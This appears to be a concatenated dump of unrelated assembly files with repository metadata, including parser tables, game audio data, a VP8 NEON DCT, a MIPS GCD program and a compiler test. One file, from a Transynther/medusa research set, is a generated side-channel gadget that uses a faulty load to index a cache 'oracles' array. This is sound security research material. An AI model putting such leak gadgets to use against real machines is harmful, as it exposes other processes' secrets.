dw 040eh, 040fh, 0410h, 0411h, 0412h, 0413h, 0414h, 0415h, 0416h, 0417h, 0418h, 0419h, 041ah, 041bh, 041ch, 041dh, 041eh, 041fh, 0420h, 0421h, 0422h, 0423h, 0424h, 0425h, 0426h, 0427h, 0428h, 0429h, 042ah, 042bh, 042ch, 042dh, 042eh, 042fh, 0430h, 0431h, 0432h, 0433h, 0434h, 0435h, 0436h, 0437h, 0438h, 0439h, 043ah, 043bh, 043ch, 043dh, 043eh, 043fh, 0440h, 0441h, 0442h, 0443h, 0444h, 0445h, 0446h, 0447h, 0448h, 0449h, 044ah, 044bh, 044ch, 044dh, 044eh, 044fh, 02116h, 0451h, 0452h, 0453h, 0454h, 0455h, 0456h, 0457h, 0458h, 0459h, 045ah, 045bh, 045ch, 0a7h, 045eh, 045fh
CheckRange label dword
db Range_0_9_8, Range_0_9_8r, Range_0_9_16, Range_0_9_rutf, 10, 0
db Range_a_f_8, Range_a_f_8r, Range_a_f_16, Range_a_f_rutf, 16, 10
db Range_A_F_8, Range_A_F_8r, Range_A_F_16, Range_A_F_rutf, 16, 10
db 0
CheckTable label dword
; CHECKSYMBOL <FUNCTION_SYMBOL,GetPlusSign,0,0>
; CHECKSYMBOL <FUNCTION_SYMBOL,GetMinusSign,0,MINUS_SIGN>
; CHECKSYMBOL <FUNCTION_SYMBOL,GetFloationPointSign,FLOAT_VALUE,0>
CHECKSYMBOL <Symbol_e, EXP_VALUE, EXP_FLAG, SIGN_FLAG OR NUMBER_FLAG, 10>
CHECKSYMBOL <Symbol_ec, EXP_VALUE, EXP_FLAG, SIGN_FLAG OR NUMBER_FLAG, 10>
CHECKSYMBOL <Symbol_h, HEX_VALUE, MODE_FLAG, SEPARATOR_FLAG, 16>
CHECKSYMBOL <Symbol_hc,HEX_VALUE, MODE_FLAG, SEPARATOR_FLAG, 16>
CHECKSYMBOL <Symbol_x, HEX_VALUE, MODE_FLAG, NUMBER_FLAG OR ZERO_FLAG, 16>
CHECKSYMBOL <Symbol_xc, HEX_VALUE, MODE_FLAG, NUMBER_FLAG OR ZERO_FLAG, 16>
CHECKSYMBOL <Symbol_q, OCTAL_VALUE, MODE_FLAG, SEPARATOR_FLAG, 8>
CHECKSYMBOL <Symbol_qc, OCTAL_VALUE, MODE_FLAG, SEPARATOR_FLAG, 8>
CHECKSYMBOL <Symbol_b, BIN_VALUE, MODE_FLAG, SEPARATOR_FLAG, 2>
CHECKSYMBOL <Symbol_bc, BIN_VALUE, MODE_FLAG, SEPARATOR_FLAG, 2>
Floating_point_symbol:
CHECKSYMBOL <Symbol_es, FLOAT_VALUE, FLOAT_DOT_FLAG, NUMBER_FLAG OR SEPARATOR_FLAG OR EXP_FLAG, 10>
Positive_sign_symbol:
CHECKSYMBOL <Symbol_ps, POS_VALUE, SIGN_FLAG, NUMBER_FLAG OR MODE_FLAG OR FLOAT_DOT_FLAG OR ZERO_FLAG OR MODE_ZERO_FLAG, 0>
Negative_sign_symbol:
CHECKSYMBOL <Symbol_ms, NEG_VALUE, SIGN_FLAG, NUMBER_FLAG OR MODE_FLAG OR FLOAT_DOT_FLAG OR ZERO_FLAG OR MODE_ZERO_FLAG, 0>
db 0
; CHECKSYMBOL <PARAMETER_SYMBOL,'E',FLOAT_VALUE,0>
; CHECKSYMBOL <PARAMETER_SYMBOL,'E',FLOAT_VALUE,0>
; CHECKSYMBOL <PARAMETER_SYMBOL,'e',FLOAT_VALUE,0>
; CHECKSYMBOL <PARAMETER_SYMBOL,'H',HEX_VALUE,0>
; CHECKSYMBOL <PARAMETER_SYMBOL,'h',HEX_VALUE,0>
; CHECKSYMBOL <PARAMETER_SYMBOL,'X',HEX_VALUE,HEX_SIGN>
; CHECKSYMBOL <PARAMETER_SYMBOL,'x',HEX_VALUE,HEX_SIGN>
; CHECKSYMBOL <PARAMETER_SYMBOL,'Q',OCTAL_VALUE,0>
; CHECKSYMBOL <PARAMETER_SYMBOL,'q',OCTAL_VALUE,0>
; CHECKSYMBOL <PARAMETER_SYMBOL,'B',BIN_VALUE,0>
; CHECKSYMBOL <PARAMETER_SYMBOL,'b',BIN_VALUE,0>
db 0
;Range_0_9_8 label byte
; db '0', '9'
;Range_0_9_8r label byte
; db 26h, 2fh
;Range_0_9_16 label word
; dw '0', '9'
;Range_0_9_rutf label dword
; dd 26h, 2fh
Range_0_9 SYMBOL <>,<>
Range_a_f SYMBOL <>,<>
Range_ac_fc SYMBOL <>,<>
;Range_a_f_8 label byte
; db 'a', 'f'
;Range_a_f_8r label byte
; db 80h, 85h
;Range_a_f_16 label word
; dw 'a', 'f'
;Range_a_f_rutf label dword
; dd 80h, 85h
;Range_ac_fc_8 label byte
; db 'A', 'F'
;Range_ac_fc_8r label byte
; db 0a0h, 0a5h
;Range_ac_fc_16 label word
; dw 'A', 'F'
;Range_ac_fc_rutf label dword
; dd 0a0h, 0a5h
Symbol_e SYMBOL <'e', 084h, 'e', 084h>
Symbol_ec SYMBOL <'E', 0a4h, 'E', 0a4h>
Symbol_h SYMBOL <'h', 84h, 'h', 84h>
Symbol_hc SYMBOL <'H',0a4h,'H',0a4h>
Symbol_x SYMBOL <'x',84h,'x',84h>
Symbol_xc SYMBOL <'X',0a4h,'X',0a4h>
Symbol_q SYMBOL <'q',84h,'q',84h>
Symbol_qc SYMBOL <'Q',0a4h,'Q',0a4h>
Symbol_b SYMBOL <'b',81h,'b',81h>
Symbol_bc SYMBOL <'B',0a1h,'B',0a1h>
Symbol_ms SYMBOL <'-',0a1h,'-',0a1h>
Symbol_ps SYMBOL <'+',0a1h,'+',0a1h>
Symbol_es SYMBOL <',',0a1h,',',0a1h>
ToIntTable label dword
dd @FastString@$oi$xqqrv_FromInt
dd @FastString@$oi$xqqrv_FromFloat
dd @FastString@$oi$xqqrv_FromExp
dd @FastString@$oi$xqqrv_FromHex
dd @FastString@$oi$xqqrv_FromOctal
dd @FastString@$oi$xqqrv_FromBinary
end
| 26.504497 | 949 | 0.685439 |
0fe55ef022b81d65cfdea5e32d4c791bbf2dce5a | 1,611 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_1_1227.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_1_1227.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_1_1227.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xfa2f, %rsi
lea addresses_A_ht+0xe6a7, %rdi
nop
sub $28260, %r12
mov $88, %rcx
rep movsq
nop
nop
nop
and $61719, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
// Load
lea addresses_RW+0x10de7, %rsi
nop
add %r15, %r15
movb (%rsi), %r8b
nop
nop
nop
sub %rax, %rax
// REPMOV
lea addresses_PSE+0x19e7, %rsi
lea addresses_WT+0xa5a7, %rdi
nop
nop
nop
nop
xor %r8, %r8
mov $64, %rcx
rep movsw
nop
nop
nop
nop
nop
dec %rbx
// Faulty Load
lea addresses_A+0x69e7, %rbx
nop
add $56152, %rsi
mov (%rbx), %r10
lea oracles, %rbx
and $0xff, %r10
shlq $12, %r10
mov (%rbx,%r10,1), %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WT'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}}
{'00': 1}
00
*/
| 17.322581 | 147 | 0.648045 |
7031536ebbf2f942017380f8a3e37a8c3d47775d | 5,329 | asm | Assembly | data/cries.asm | AmateurPanda92/pokemon-rby-dx | f7ba1cc50b22d93ed176571e074a52d73360da93 | [
"MIT"
] | 9 | 2020-07-12T19:44:21.000Z | 2022-03-03T23:32:40.000Z | data/cries.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 7 | 2020-07-16T10:48:52.000Z | 2021-01-28T18:32:02.000Z | data/cries.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 2 | 2021-03-28T18:33:43.000Z | 2021-05-06T13:12:09.000Z | CryData:
;$BaseCry, $Pitch, $Length
db $11, $00, $80; Rhydon
db $03, $00, $80; Kangaskhan
db $00, $00, $80; Nidoran♂
db $19, $CC, $01; Clefairy
db $10, $00, $80; Spearow
db $06, $ED, $80; Voltorb
db $09, $00, $80; Nidoking
db $1F, $00, $80; Slowbro
db $0F, $20, $80; Ivysaur
db $0D, $00, $80; Exeggutor
db $0C, $00, $80; Lickitung
db $0B, $00, $80; Exeggcute
db $05, $00, $80; Grimer
db $07, $00, $FF; Gengar
db $01, $00, $80; Nidoran♀
db $0A, $00, $80; Nidoqueen
db $19, $00, $80; Cubone
db $04, $00, $80; Rhyhorn
db $1B, $00, $80; Lapras
db $15, $00, $80; Arcanine
db $1E, $EE, $FF; Mew
db $17, $00, $80; Gyarados
db $18, $00, $80; Shellder
db $1A, $00, $80; Tentacool
db $1C, $00, $80; Gastly
db $16, $00, $80; Scyther
db $1E, $02, $20; Staryu
db $13, $00, $80; Blastoise
db $14, $00, $80; Pinsir
db $12, $00, $80; Tangela
db $00, $00, $00; MissingNo.
db $00, $00, $00; MissingNo.
db $1F, $20, $40; Growlithe
db $17, $FF, $C0; Onix
db $18, $40, $A0; Fearow
db $0E, $DF, $04; Pidgey
db $02, $00, $80; Slowpoke
db $1C, $A8, $C0; Kadabra
db $24, $00, $80; Graveler
db $14, $0A, $C0; Chansey
db $1F, $48, $60; Machoke
db $20, $08, $40; Mr.Mime
db $12, $80, $C0; Hitmonlee
db $0C, $EE, $C0; Hitmonchan
db $17, $E0, $10; Arbok
db $1E, $42, $FF; Parasect
db $21, $20, $60; Psyduck
db $0D, $88, $20; Drowzee
db $12, $E0, $40; Golem
db $00, $00, $00; MissingNo.
db $04, $FF, $30; Magmar
db $00, $00, $00; MissingNo.
db $06, $8F, $FF; Electabuzz
db $1C, $20, $C0; Magneton
db $12, $E6, $DD; Koffing
db $00, $00, $00; MissingNo.
db $0A, $DD, $60; Mankey
db $0C, $88, $C0; Seel
db $0B, $AA, $01; Diglett
db $1D, $11, $40; Tauros
db $00, $00, $00; MissingNo.
db $00, $00, $00; MissingNo.
db $00, $00, $00; MissingNo.
db $10, $DD, $01; Farfetch'd
db $1A, $44, $40; Venonat
db $0F, $3C, $C0; Dragonite
db $00, $80, $10; MissingNo.
db $00, $00, $00; MissingNo.
db $1D, $E0, $80; MissingNo.
db $0B, $BB, $01; Doduo
db $0E, $FF, $FF; Poliwag
db $0D, $FF, $FF; Jynx
db $09, $F8, $40; Moltres
db $09, $80, $40; Articuno
db $18, $FF, $80; Zapdos
db $0E, $FF, $FF; Ditto
db $19, $77, $10; Meowth
db $20, $20, $E0; Krabby
db $22, $FF, $40; MissingNo.
db $00, $00, $00; MissingNo.
db $0E, $E0, $60; MissingNo.
db $24, $4F, $10; Vulpix
db $24, $88, $60; Ninetales
db $0F, $EE, $01; Pikachu
db $09, $EE, $08; Raichu
db $00, $00, $00; MissingNo.
db $00, $00, $00; MissingNo.
db $0F, $60, $40; Dratini
db $0F, $40, $80; Dragonair
db $16, $BB, $40; Kabuto
db $18, $EE, $01; Kabutops
db $19, $99, $10; Horsea
db $19, $3C, $01; Seadra
db $0F, $40, $C0; MissingNo.
db $0F, $20, $C0; MissingNo.
db $00, $20, $40; Sandshrew
db $00, $FF, $FF; Sandslash
db $1F, $F0, $01; Omanyte
db $1F, $FF, $40; Omastar
db $0E, $FF, $35; Jigglypuff
db $0E, $68, $60; Wigglytuff
db $1A, $88, $60; Eevee
db $1A, $10, $20; Flareon
db $1A, $3D, $80; Jolteon
db $1A, $AA, $FF; Vaporeon
db $1F, $EE, $01; Machop
db $1D, $E0, $80; Zubat
db $17, $12, $40; Ekans
db $1E, $20, $E0; Paras
db $0E, $77, $60; Poliwhirl
db $0E, $00, $FF; Poliwrath
db $15, $EE, $01; Weedle
db $13, $FF, $01; Kakuna
db $13, $60, $80; Beedrill
db $00, $00, $00; MissingNo.
db $0B, $99, $20; Dodrio
db $0A, $AF, $40; Primeape
db $0B, $2A, $10; Dugtrio
db $1A, $29, $80; Venomoth
db $0C, $23, $FF; Dewgong
db $00, $00, $00; MissingNo.
db $00, $00, $00; MissingNo.
db $16, $80, $20; Caterpie
db $1C, $CC, $01; Metapod
db $16, $77, $40; Butterfree
db $1F, $08, $C0; Machamp
db $11, $20, $10; MissingNo.
db $21, $FF, $40; Golduck
db $0D, $EE, $40; Hypno
db $1D, $FA, $80; Golbat
db $1E, $99, $FF; Mewtwo
db $05, $55, $01; Snorlax
db $17, $80, $00; Magikarp
db $00, $00, $00; MissingNo.
db $00, $00, $00; MissingNo.
db $07, $EF, $FF; Muk
db $0F, $40, $80; MissingNo.
db $20, $EE, $E0; Kingler
db $18, $6F, $E0; Cloyster
db $00, $00, $00; MissingNo.
db $06, $A8, $90; Electrode
db $19, $AA, $20; Clefable
db $12, $FF, $FF; Weezing
db $19, $99, $FF; Persian
db $08, $4F, $60; Marowak
db $00, $00, $00; MissingNo.
db $1C, $30, $40; Haunter
db $1C, $C0, $01; Abra
db $1C, $98, $FF; Alakazam
db $14, $28, $C0; Pidgeotto
db $14, $11, $FF; Pidgeot
db $1E, $00, $80; Starmie
db $0F, $80, $01; Bulbasaur
db $0F, $00, $C0; Venusaur
db $1A, $EE, $FF; Tentacruel
db $00, $00, $00; MissingNo.
db $16, $80, $40; Goldeen
db $16, $10, $FF; Seaking
db $00, $00, $00; MissingNo.
db $00, $00, $00; MissingNo.
db $00, $00, $00; MissingNo.
db $00, $00, $00; MissingNo.
db $25, $00, $80; Ponyta
db $25, $20, $C0; Rapidash
db $22, $00, $80; Rattata
db $22, $20, $FF; Raticate
db $00, $2C, $C0; Nidorino
db $01, $2C, $E0; Nidorina
db $24, $F0, $10; Geodude
db $25, $AA, $FF; Porygon
db $23, $20, $F0; Aerodactyl
db $00, $00, $00; MissingNo.
db $1C, $80, $60; Magnemite
db $00, $00, $00; MissingNo.
db $00, $00, $00; MissingNo.
db $04, $60, $40; Charmander
db $1D, $60, $40; Squirtle
db $04, $20, $40; Charmeleon
db $1D, $20, $40; Wartortle
db $04, $00, $80; Charizard
db $1D, $00, $80; MissingNo.
db $00, $00, $00; MissingNo.
db $00, $00, $00; MissingNo.
db $00, $00, $00; MissingNo.
db $08, $DD, $01; Oddish
db $08, $AA, $40; Gloom
db $23, $22, $FF; Vileplume
db $21, $55, $01; Bellsprout
db $25, $44, $20; Weepinbell
db $25, $66, $CC; Victreebel
| 27.611399 | 29 | 0.561831 |
81fee2119ed2c1a16fb0bcc69e2720a6cfcc33fd | 1,450 | asm | Assembly | audio/wave_samples.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 28 | 2019-11-08T07:19:00.000Z | 2021-12-20T10:17:54.000Z | audio/wave_samples.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 13 | 2020-01-11T17:00:40.000Z | 2021-09-14T01:27:38.000Z | audio/wave_samples.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 22 | 2020-05-28T17:31:38.000Z | 2022-03-07T20:49:35.000Z | WaveSamples:
; These are streams of 32 nybbles (4-bit values) used as wave patterns.
; Plot them as a line chart to see the wave's shape.
dn 0, 2, 4, 6, 8, 10, 12, 14, 15, 15, 15, 14, 14, 13, 13, 12, 12, 11, 10, 9, 8, 7, 6, 5, 4, 4, 3, 3, 2, 2, 1, 1
dn 0, 2, 4, 6, 8, 10, 12, 14, 14, 15, 15, 15, 15, 14, 14, 14, 13, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 2, 1, 1
dn 1, 3, 6, 9, 11, 13, 14, 14, 14, 14, 15, 15, 15, 15, 14, 13, 13, 14, 15, 15, 15, 15, 14, 14, 14, 14, 13, 11, 9, 6, 3, 1
dn 0, 2, 4, 6, 8, 10, 12, 13, 14, 15, 15, 14, 13, 14, 15, 15, 14, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0
dn 0, 1, 2, 3, 4, 5, 6, 7, 8, 10, 12, 13, 14, 14, 15, 7, 7, 15, 14, 14, 13, 12, 10, 8, 7, 6, 5, 4, 3, 2, 1, 0
dn 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 3, 3, 2, 2, 1, 1, 15, 15, 14, 14, 12, 12, 10, 10, 8, 8, 10, 10, 12, 12, 14, 14
dn 0, 2, 4, 6, 8, 10, 12, 14, 12, 11, 10, 9, 8, 7, 6, 5, 15, 15, 15, 14, 14, 13, 13, 12, 4, 4, 3, 3, 2, 2, 1, 1
dn 12, 0, 10, 9, 8, 7, 15, 5, 15, 15, 15, 14, 14, 13, 13, 12, 4, 4, 3, 3, 2, 2, 15, 1, 0, 2, 4, 6, 8, 10, 12, 14
dn 4, 4, 3, 3, 2, 2, 1, 15, 0, 0, 4, 6, 8, 10, 12, 14, 15, 8, 15, 14, 14, 13, 13, 12, 12, 11, 10, 9, 8, 7, 6, 5
dn 1, 1, 0, 0, 0, 0, 0, 8, 0, 0, 1, 3, 5, 7, 9, 10, 11, 4, 11, 10, 10, 9, 9, 8, 8, 7, 6, 5, 4, 3, 2, 1
| 103.571429 | 130 | 0.405517 |
4af7687aa9a57022ced5cc6e8f0e2d247224084c | 4,800 | asm | Assembly | vp8/encoder/arm/neon/fastfdct4x4_neon.asm | mrchapp/libvpx | c2a8d8b54c7ebefd1cd9c55f53b9e8378f088e8b | [
"BSD-3-Clause"
] | 1 | 2015-05-03T19:25:39.000Z | 2015-05-03T19:25:39.000Z | vp8/encoder/arm/neon/fastfdct4x4_neon.asm | mrchapp/libvpx | c2a8d8b54c7ebefd1cd9c55f53b9e8378f088e8b | [
"BSD-3-Clause"
] | null | null | null | vp8/encoder/arm/neon/fastfdct4x4_neon.asm | mrchapp/libvpx | c2a8d8b54c7ebefd1cd9c55f53b9e8378f088e8b | [
"BSD-3-Clause"
] | null | null | null | ;
; Copyright (c) 2010 The VP8 project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
EXPORT |vp8_fast_fdct4x4_neon|
ARM
REQUIRE8
PRESERVE8
AREA ||.text||, CODE, READONLY, ALIGN=2
;void vp8_fast_fdct4x4_c(short *input, short *output, int pitch);
;NOTE:
;The input *src_diff. src_diff is calculated as:
;diff_ptr[c] = src_ptr[c] - pred_ptr[c]; (in Subtract* function)
;In which *src_ptr and *pred_ptr both are unsigned char.
;Therefore, *src_diff should be in the range of [-255, 255].
;CAUTION:
;The input values of 25th block are set in vp8_build_dcblock function, which are out of [-255, 255].
;But, VP8 encoder only uses vp8_short_fdct4x4_c for 25th block, not vp8_fast_fdct4x4_c. That makes
;it ok for assuming *input in [-255, 255] in vp8_fast_fdct4x4_c, but not ok in vp8_short_fdct4x4_c.
|vp8_fast_fdct4x4_neon| PROC
vld1.16 {d2}, [r0], r2 ;load input
ldr r12, _ffdct_coeff_
vld1.16 {d3}, [r0], r2
vld1.16 {d4}, [r0], r2
vld1.16 {d0}, [r12]
vld1.16 {d5}, [r0], r2
;First for-loop
;transpose d2, d3, d4, d5. Then, d2=ip[0], d3=ip[1], d4=ip[2], d5=ip[3]
vtrn.32 d2, d4
vtrn.32 d3, d5
vtrn.16 d2, d3
vtrn.16 d4, d5
vadd.s16 d6, d2, d5 ;ip[0]+ip[3]
vadd.s16 d7, d3, d4 ;ip[1]+ip[2]
vsub.s16 d8, d3, d4 ;ip[1]-ip[2]
vsub.s16 d9, d2, d5 ;ip[0]-ip[3]
vshl.i16 q3, q3, #1 ; a1, b1
vshl.i16 q4, q4, #1 ; c1, d1
vadd.s16 d10, d6, d7 ;temp1 = a1 + b1
vsub.s16 d11, d6, d7 ;temp2 = a1 - b1
vqdmulh.s16 q6, q5, d0[1]
vqdmulh.s16 q8, q4, d0[0]
vqdmulh.s16 q7, q4, d0[2]
vshr.s16 q6, q6, #1
vshr.s16 q8, q8, #1
vshr.s16 q7, q7, #1 ;d14:temp1 = ( c1 * x_c3)>>16; d15:temp1 = (d1 * x_c3)>>16
vadd.s16 q8, q4, q8 ;d16:temp2 = ((c1 * x_c1)>>16) + c1; d17:temp2 = ((d1 * x_c1)>>16) + d1
vadd.s16 d2, d10, d12 ;op[0] = ((temp1 * x_c2 )>>16) + temp1
vadd.s16 d4, d11, d13 ;op[2] = ((temp2 * x_c2 )>>16) + temp2
vadd.s16 d3, d14, d17 ;op[1] = temp1 + temp2 -- q is not necessary, just for protection
vsub.s16 d5, d15, d16 ;op[3] = temp1 - temp2
;Second for-loop
;transpose d2, d3, d4, d5. Then, d2=ip[0], d3=ip[4], d4=ip[8], d5=ip[12]
vtrn.32 d2, d4
vtrn.32 d3, d5
vtrn.16 d2, d3
vtrn.16 d4, d5
vadd.s16 d6, d2, d5 ;a1 = ip[0]+ip[12]
vadd.s16 d7, d3, d4 ;b1 = ip[4]+ip[8]
vsub.s16 d8, d3, d4 ;c1 = ip[4]-ip[8]
vsub.s16 d9, d2, d5 ;d1 = ip[0]-ip[12]
vadd.s16 d10, d6, d7 ;temp1 = a1 + b1
vsub.s16 d11, d6, d7 ;temp2 = a1 - b1
vqdmulh.s16 q6, q5, d0[1]
vqdmulh.s16 q8, q4, d0[0]
vqdmulh.s16 q7, q4, d0[2]
vshr.s16 q6, q6, #1
vshr.s16 q8, q8, #1
vshr.s16 q7, q7, #1 ;d14:temp1 = ( c1 * x_c3)>>16; d15:temp1 = (d1 * x_c3)>>16
vadd.s16 q8, q4, q8 ;d16:temp2 = ((c1 * x_c1)>>16) + c1; d17:temp2 = ((d1 * x_c1)>>16) + d1
vadd.s16 d2, d10, d12 ;a2 = ((temp1 * x_c2 )>>16) + temp1
vadd.s16 d4, d11, d13 ;c2 = ((temp2 * x_c2 )>>16) + temp2
vadd.s16 d3, d14, d17 ;b2 = temp1 + temp2 -- q is not necessary, just for protection
vsub.s16 d5, d15, d16 ;d2 = temp1 - temp2
vclt.s16 q3, q1, #0
vclt.s16 q4, q2, #0
vsub.s16 q1, q1, q3
vsub.s16 q2, q2, q4
vshr.s16 q1, q1, #1
vshr.s16 q2, q2, #1
vst1.16 {q1, q2}, [r1]
bx lr
ENDP
;-----------------
AREA fastfdct_dat, DATA, READONLY
;Data section with name data_area is specified. DCD reserves space in memory for 48 data.
;One word each is reserved. Label filter_coeff can be used to access the data.
;Data address: filter_coeff, filter_coeff+4, filter_coeff+8 ...
_ffdct_coeff_
DCD ffdct_coeff
ffdct_coeff
; 60547 = 0xEC83
; 46341 = 0xB505
; 25080 = 0x61F8
DCD 0xB505EC83, 0x000061F8
END
| 37.5 | 116 | 0.515 |
b6c5c547e3bb8641ac0471a4e161c608571fa5fd | 1,179 | asm | Assembly | Mips Exersice/GCD.asm | Pandula1234/Machine-Instructions | 4fa06486968a546a727fffd897e5a18f75e95c04 | [
"BSL-1.0"
] | null | null | null | Mips Exersice/GCD.asm | Pandula1234/Machine-Instructions | 4fa06486968a546a727fffd897e5a18f75e95c04 | [
"BSL-1.0"
] | null | null | null | Mips Exersice/GCD.asm | Pandula1234/Machine-Instructions | 4fa06486968a546a727fffd897e5a18f75e95c04 | [
"BSL-1.0"
] | null | null | null | # index number : 18001521
.text
main:
#(1)read data ------------------------------------------------------------------
#print first message
la $a0,first
li $v0,4
syscall
#reading first integer
li $v0,5
syscall
move $t0,$v0
#print second message
la $a0,second
li $v0,4
syscall
#reading second integer
li $v0,5
syscall
move $t1,$v0
#find gcd---------------------------------------------------------------------
check:
#(2)if a and b are equals a=gcd (jump to print gcd)
beq $t0,$t1,gcd
#if a>b (jump to a-b)
bgt $t0,$t1,subab
#if a<b (jump to b-a)
blt $t0,$t1,subba
#(3)substract smaller from larger-----------
#substract b from a (a-b)
subab:
sub $t0,$t0,$t1
jal check
#substract a from b (b-a)
subba:
sub $t1,$t1,$t0
jal check
#print gcd -------------------------------------------------------------------
gcd:
#print printgcd message
la $a0,printgcd
li $v0,4
syscall
#print a (gcd)
move $a0,$t0
li $v0,1
syscall
jal end
#end program -----------------------------------------------------------------
end:
li $v0,10
syscall
.data
first: .asciiz "\nEnter the first integer :"
second: .asciiz "\nEnter the second integer :"
printgcd: .asciiz "\nThe greatest common divisor =" | 19.016129 | 80 | 0.532655 |
2ea9301715810dd0b3d77b96ecdba79b34cab48a | 1,254 | asm | Assembly | src/test/ref/address-of-1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/test/ref/address-of-1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/test/ref/address-of-1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | // Test address-of - pass the pointer as parameter
// Commodore 64 PRG executable file
.file [name="address-of-1.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(main)
.segment Code
main: {
.label SCREEN = $400
.label b1 = 4
.label b2 = 5
.label b3 = 6
// byte b1 = 0
lda #0
sta.z b1
// byte b2 = 0
sta.z b2
// byte b3 = 0
sta.z b3
// setByte(&b1, 'c')
lda #<b1
sta.z setByte.ptr
lda #>b1
sta.z setByte.ptr+1
ldx #'c'
jsr setByte
// setByte(&b2, 'm')
lda #<b2
sta.z setByte.ptr
lda #>b2
sta.z setByte.ptr+1
ldx #'m'
jsr setByte
// setByte(&b3, 'l')
lda #<b3
sta.z setByte.ptr
lda #>b3
sta.z setByte.ptr+1
ldx #'l'
jsr setByte
// SCREEN[0] = b1
lda.z b1
sta SCREEN
// SCREEN[1] = b2
lda.z b2
sta SCREEN+1
// SCREEN[2] = b3
lda.z b3
sta SCREEN+2
// }
rts
}
// void setByte(__zp(2) char *ptr, __register(X) char b)
setByte: {
.label ptr = 2
// *ptr = b
txa
ldy #0
sta (ptr),y
// }
rts
}
| 19 | 63 | 0.547847 |
0c03c5af5655c8c1bd5fd21a16df3017ebc2783f | 26,117 | asm | Assembly | Appl/Games/Uki/uki.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Appl/Games/Uki/uki.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Appl/Games/Uki/uki.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PROJECT: Practice Project
MODULE: Uki program
FILE: uki.asm
Author Jimmy Lefkowitz, January 14, 1991
$Id: uki.asm,v 1.1 97/04/04 15:47:09 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UkiChooseUki
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: GLOBAL
PASS: ax = 0; only do functions
ax != 0; do full init
RETURN: Void.
DESTROYED: Nada.
PSEUDOCODE/STRATEGY:
KNOWN BUGS/SIDEFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
